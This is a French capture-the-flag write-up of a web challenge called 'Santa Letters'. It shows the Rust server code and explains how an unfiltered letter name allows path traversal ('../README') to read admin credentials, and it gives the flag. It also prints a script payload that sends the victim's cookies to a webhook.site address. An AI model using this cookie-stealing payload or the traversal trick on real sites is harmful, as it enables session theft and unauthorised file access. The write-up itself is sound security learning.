Santa Letters

December 19, 2024

CTF: Six CTF

Category: Web

Le père noël a virtualiser son système de lettre au père noël. Malheureusement, il a quelques problèmes de sécurité ohnon. http://37.27.100.44:37001/ http://37.27.100.44:37001/santa pour le panel admin

Description du challenge

Le challenge consiste en un site web qui permet d’envoyer des lettres au père noël. Il y a également un panel admin mais on n’en connait pas les identifiants.

Page d’accueil

Le code source du controller nous est donné (mais on n’a pas accès au reste du projet) :

main.rs
use axum::{
    extract::State,
    http::StatusCode,
    response::{Html, IntoResponse},
    routing::{get, post},
    Form, Router,
};
use std::{net::SocketAddr, path::Path, env, fs};
use serde::{Deserialize, Serialize};
use tower_http::trace::TraceLayer;
use pulldown_cmark::{Options, Parser, html::push_html};
use jsonwebtoken::{decode, encode, DecodingKey, EncodingKey, Header, Validation};
use std::time::{SystemTime, UNIX_EPOCH};
use rand::Rng;

#[derive(Clone)]
struct AppState {
    letters_dir: String,
    santa_login: String,
    santa_password: String,
    jwt_secret: String,
    templates: Templates,
}

#[derive(Clone)]
struct Templates {
    main: String,
    login: String,
    letters: String,
    name_exists: String,
    success: String,
}

impl Templates {
    fn load() -> Self {
        Self {
            main: fs::read_to_string("templates/main.html")
                .expect("Failed to read main template"),
            login: fs::read_to_string("templates/login.html")
                .expect("Failed to read login template"),
            letters: fs::read_to_string("templates/letters.html")
                .expect("Failed to read letters template"),
            name_exists: fs::read_to_string("templates/name_exists.html")
                .expect("Failed to read name_exists template"),
            success: fs::read_to_string("templates/success.html")
                .expect("Failed to read success template"),
        }
    }
}

#[derive(Debug, Serialize, Deserialize)]
struct TokenClaims {
    sub: String,
    exp: usize,
}

#[derive(Deserialize)]
struct LoginForm {
    username: String,
    password: String,
}

#[derive(Deserialize)]
struct LetterForm {
    name: String,
    content: String,
}

fn markdown_to_html(markdown_input: &str) -> String {
    let mut options = Options::empty();
    options.insert(Options::ENABLE_STRIKETHROUGH);
    let parser = Parser::new_ext(markdown_input, options);

    let mut html_output = String::new();
    push_html(&mut html_output, parser);
    
    let styled_html = html_output
        .replace("<h1", "<h1 class=\"text-3xl font-bold text-red-600 mb-6\"")
        .replace("<h2", "<h2 class=\"text-2xl font-bold text-red-500 mb-5\"")
        .replace("<h3", "<h3 class=\"text-xl font-bold text-red-500 mb-4\"")
        .replace("<h4", "<h4 class=\"text-lg font-bold text-red-500 mb-3\"")
        .replace("<p", "<p class=\"text-base text-gray-700 leading-6 space-y-4 mb-4\"")
        .replace("<ul", "<ul class=\"list-disc pl-6 mb-4 space-y-2 text-gray-700\"")
        .replace("<ol", "<ol class=\"list-decimal pl-6 mb-4 space-y-2 text-gray-700\"")
        .replace("<li", "<li class=\"text-gray-700\"")
        .replace("<blockquote", "<blockquote class=\"pl-4 border-l-4 border-red-300 italic my-4 text-gray-700\"")
        .replace("<code>", "<code class=\"bg-red-50 text-red-600 px-2 py-1 rounded text-sm\">")
        .replace("<pre", "<pre class=\"bg-red-50 p-4 rounded-md overflow-x-auto mb-4\"")
        .replace("<a ", "<a class=\"text-green-600 hover:text-green-700 transition-colors\" ")
        .replace("<hr", "<hr class=\"my-8 border-t border-gray-200\"")
        .replace("<strong", "<strong class=\"font-bold text-red-600\"")
        .replace("<em", "<em class=\"italic text-red-500\"")
        .replace("<table", "<table class=\"min-w-full border-collapse mb-4\"")
        .replace("<th", "<th class=\"border border-gray-300 px-4 py-2 bg-red-50 text-gray-700\"")
        .replace("<td", "<td class=\"border border-gray-300 px-4 py-2 text-gray-700\"");

    styled_html
}

#[tokio::main]
async fn main() {
    let santa_login = env::var("SANTA_LOGIN").expect("SANTA_LOGIN is required");
    let santa_password = env::var("SANTA_PASSWORD").expect("SANTA_PASSWORD is required");

    let mut rng = rand::thread_rng();
    let jwt_secret: String = (0..32)
        .map(|_| rng.gen_range(b'A'..=b'Z') as char)
        .collect();
    
    fs::create_dir_all("./letters").unwrap_or_default();
    fs::create_dir_all("./templates").unwrap_or_default();

    let state = AppState {
        letters_dir: "./letters".to_string(),
        santa_login,
        santa_password,
        jwt_secret,
        templates: Templates::load(),
    };

    let app = Router::new()
        .route("/", get(serve_main_page))
        .route("/submit_letter", post(submit_letter))
        .route("/santa", get(santa_login_page).post(login))
        .route("/santa/letters", get(santa_letters))
        .with_state(state)
        .layer(TraceLayer::new_for_http());

    let addr = SocketAddr::from(([0, 0, 0, 0], 8080));
    println!("🎅 Santa's Letter Server listening on {}", addr);
    axum::Server::bind(&addr).serve(app.into_make_service()).await.unwrap();
}

async fn serve_main_page(State(state): State<AppState>) -> impl IntoResponse {
    Html(state.templates.main).into_response()
}

async fn submit_letter(
    State(state): State<AppState>,
    Form(letter): Form<LetterForm>,
) -> impl IntoResponse {
    let filename = format!("{}.md", &letter.name);
    let path = Path::new(&state.letters_dir).join(&filename);

    if path.exists() {
        let existing_content = fs::read_to_string(&path).unwrap_or_default();
        let html = state.templates.name_exists
            .replace("{name}", &letter.name)
            .replace("{existing_letter}", &markdown_to_html(&existing_content))
            .replace("{new_letter}", &markdown_to_html(&letter.content));
        Html(html).into_response()
    } else {
        let content = format!("# Lettre de {}\n\n{}", &letter.name, &letter.content);
        match fs::write(&path, content.clone()) {
            Ok(_) => {
                let html = state.templates.success.replace("{content}", &markdown_to_html(&content));
                Html(html).into_response()
            }
            Err(_) => (StatusCode::INTERNAL_SERVER_ERROR, "Failed to save letter").into_response(),
        }
    }
}

async fn santa_login_page(State(state): State<AppState>) -> impl IntoResponse {
    Html(state.templates.login).into_response()
}

async fn login(State(state): State<AppState>, Form(login): Form<LoginForm>) -> impl IntoResponse {
    if login.username == state.santa_login && login.password == state.santa_password {
        let expiration = SystemTime::now()
            .duration_since(UNIX_EPOCH)
            .unwrap()
            .as_secs() as usize + 3600;

        let claims = TokenClaims {
            sub: login.username,
            exp: expiration,
        };

        let token = encode(
            &Header::default(),
            &claims,
            &EncodingKey::from_secret(state.jwt_secret.as_bytes()),
        ).unwrap();

        let cookie = format!("token={}; Path=/; HttpOnly", token);
        (
            StatusCode::FOUND,
            [
                (axum::http::header::SET_COOKIE, cookie),
                (axum::http::header::LOCATION, "/santa/letters".to_string()),
            ],
        ).into_response()
    } else {
        (StatusCode::UNAUTHORIZED, "Ho ho ho! Wrong credentials!").into_response()
    }
}

async fn santa_letters(
    State(state): State<AppState>,
    cookies: axum::extract::TypedHeader<axum::headers::Cookie>,
) -> impl IntoResponse {
    let token = match cookies.get("token") {
        Some(token) => token,
        None => return (StatusCode::UNAUTHORIZED, "Ho ho ho! Not authorized!").into_response(),
    };

    match decode::<TokenClaims>(
        token,
        &DecodingKey::from_secret(state.jwt_secret.as_bytes()),
        &Validation::default(),
    ) {
        Ok(_) => {
            let mut letters = Vec::new();
            if let Ok(entries) = fs::read_dir(&state.letters_dir) {
                for entry in entries.flatten() {
                    if let Ok(content) = fs::read_to_string(entry.path()) {
                        let html = format!(
                            r#"<div class="bg-white rounded-3xl shadow-lg p-8 transform transition-all hover:-translate-y-1 hover:shadow-xl">
                                <div class="max-w-none">
                                    {}
                                </div>
                            </div>"#,
                            markdown_to_html(&content)
                        );
                        letters.push(html);
                    }
                }
            }

            let html = state.templates.letters.replace(
                "{letters}",
                &letters.join("\n<hr class='my-8 border-red-200'>\n")
            );
            Html(html).into_response()
        }
        Err(_) => (StatusCode::UNAUTHORIZED, "Invalid token!").into_response(),
    }
}

XSS ?

Le challenge est vulnérable à une attaque XSS, on peut injecter du code HTML dans le contenu de la lettre qui est ensuite affiché sur la page /submit_letter

Sur la page qui s’affiche lorsqu’on a soumis une lettre, il est marqué que le père noël la lira bientôt, on peut donc supposer que c’est bien une XSS.

Sent letter

J’ai donc essayé cette payload pour voler le cookie du père noël :

Payload
<script>fetch('https://webhook.site/fcb03802-cd57-4808-9f5a-257027d674f2?cookie=' + document.cookie)</script>

Cependant, après plusieurs minutes, je n’ai reçu aucune requête

Après avoir posé la question au chall maker, il s’avère que cette XSS n’était pas intentionelle et que ce n’était pas le but du challenge 😢

Path Traversal

En faisant plus de tests, on s’apperçoit que lorsqu’on envoie 2 lettres avec le même nom, ça renvoie une erreur et nous affiche le contenu de la lettre déjà existante

Name exists

Ca veut donc dire qu’on peut lire n’importe quelle lettre à condition de connaitre le nom de celui qui l’a envoyé

En regardant le code source, on voit que les lettres sont stockées dans le dossier ./letters et que le nom du fichier est le nom de la personne qui a envoyé la lettre suivi de l’extension .md

Code vulnérable
let filename = format!("{}.md", &letter.name);
let path = Path::new(&state.letters_dir).join(&filename);

On remarque également que le nom n’est pas filtré coté serveur et qu’on peut donc y mettre des caractères comme ../../ pour remonter dans l’arborescence. Cependant, le nom du fichier est suivi de l’extension .md et on ne peut pas la modifier, on peut donc lire tous les fichiers du système à condition qu’ils aient l’extension .md

Solution

Il est courant pour les projets d’avoir un README.md à la racine du projet, ce fichier ne contient habituellement pas de secrets mais il peut contenir des informations utiles pour l’attaquant. De plus, quand la source est fermée, on peut s’attendre à tout…

Et c’est le cas, en essayant de poster une lettre avec le nom ../README, on peut le lire et on s’apperçoit qu’il contient les identifiants du panel admin :

README

On peut donc s’y connecter et récupérer le flag : 6CTF{R34d_M€_My_L15t}